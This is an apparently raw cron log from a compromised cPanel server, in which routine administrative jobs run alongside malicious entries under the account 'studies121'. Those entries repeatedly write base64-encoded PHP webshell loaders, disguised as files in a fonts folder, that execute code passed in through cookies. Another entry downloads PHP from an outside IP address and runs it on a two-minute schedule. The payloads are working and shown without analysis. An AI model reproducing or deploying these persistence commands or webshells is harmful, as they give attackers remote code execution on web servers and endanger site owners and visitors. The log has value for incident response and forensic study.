Sep  5 07:34:01 ip-184-168-122-23 CROND[2337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:34:01 ip-184-168-122-23 CROND[2338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:34:01 ip-184-168-122-23 CROND[2340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:34:01 ip-184-168-122-23 CROND[2341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:34:01 ip-184-168-122-23 CROND[2343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:35:01 ip-184-168-122-23 CROND[2477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2479]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:35:01 ip-184-168-122-23 CROND[2485]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:36:01 ip-184-168-122-23 CROND[2604]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:36:01 ip-184-168-122-23 CROND[2606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:36:01 ip-184-168-122-23 CROND[2609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:36:01 ip-184-168-122-23 CROND[2608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:36:01 ip-184-168-122-23 CROND[2611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:37:01 ip-184-168-122-23 CROND[2761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:37:01 ip-184-168-122-23 CROND[2762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:37:01 ip-184-168-122-23 CROND[2763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:37:01 ip-184-168-122-23 CROND[2764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:38:02 ip-184-168-122-23 CROND[2849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:38:02 ip-184-168-122-23 CROND[2851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:38:02 ip-184-168-122-23 CROND[2853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:38:02 ip-184-168-122-23 CROND[2852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:38:02 ip-184-168-122-23 CROND[2854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:39:01 ip-184-168-122-23 CROND[3070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:39:01 ip-184-168-122-23 CROND[3071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:39:01 ip-184-168-122-23 CROND[3073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:39:01 ip-184-168-122-23 CROND[3075]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 07:39:01 ip-184-168-122-23 CROND[3074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3203]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:40:01 ip-184-168-122-23 CROND[3210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:40:01 ip-184-168-122-23 CROND[3216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:41:01 ip-184-168-122-23 CROND[3352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:41:01 ip-184-168-122-23 CROND[3353]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:41:01 ip-184-168-122-23 CROND[3354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:41:01 ip-184-168-122-23 CROND[3355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:42:01 ip-184-168-122-23 CROND[3515]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:42:01 ip-184-168-122-23 CROND[3517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:42:01 ip-184-168-122-23 CROND[3519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:42:01 ip-184-168-122-23 CROND[3518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:42:01 ip-184-168-122-23 CROND[3520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:43:01 ip-184-168-122-23 CROND[3616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:43:01 ip-184-168-122-23 CROND[3618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:43:01 ip-184-168-122-23 CROND[3619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:43:01 ip-184-168-122-23 CROND[3620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:44:01 ip-184-168-122-23 CROND[3914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 07:44:01 ip-184-168-122-23 CROND[3916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:44:01 ip-184-168-122-23 CROND[3918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:44:01 ip-184-168-122-23 CROND[3917]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:44:01 ip-184-168-122-23 CROND[3919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:45:01 ip-184-168-122-23 CROND[4070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:45:01 ip-184-168-122-23 CROND[4072]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:45:01 ip-184-168-122-23 CROND[4073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:45:01 ip-184-168-122-23 CROND[4074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 07:45:01 ip-184-168-122-23 CROND[4075]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:45:01 ip-184-168-122-23 CROND[4076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:46:01 ip-184-168-122-23 CROND[4176]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 07:46:01 ip-184-168-122-23 CROND[4178]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:46:01 ip-184-168-122-23 CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
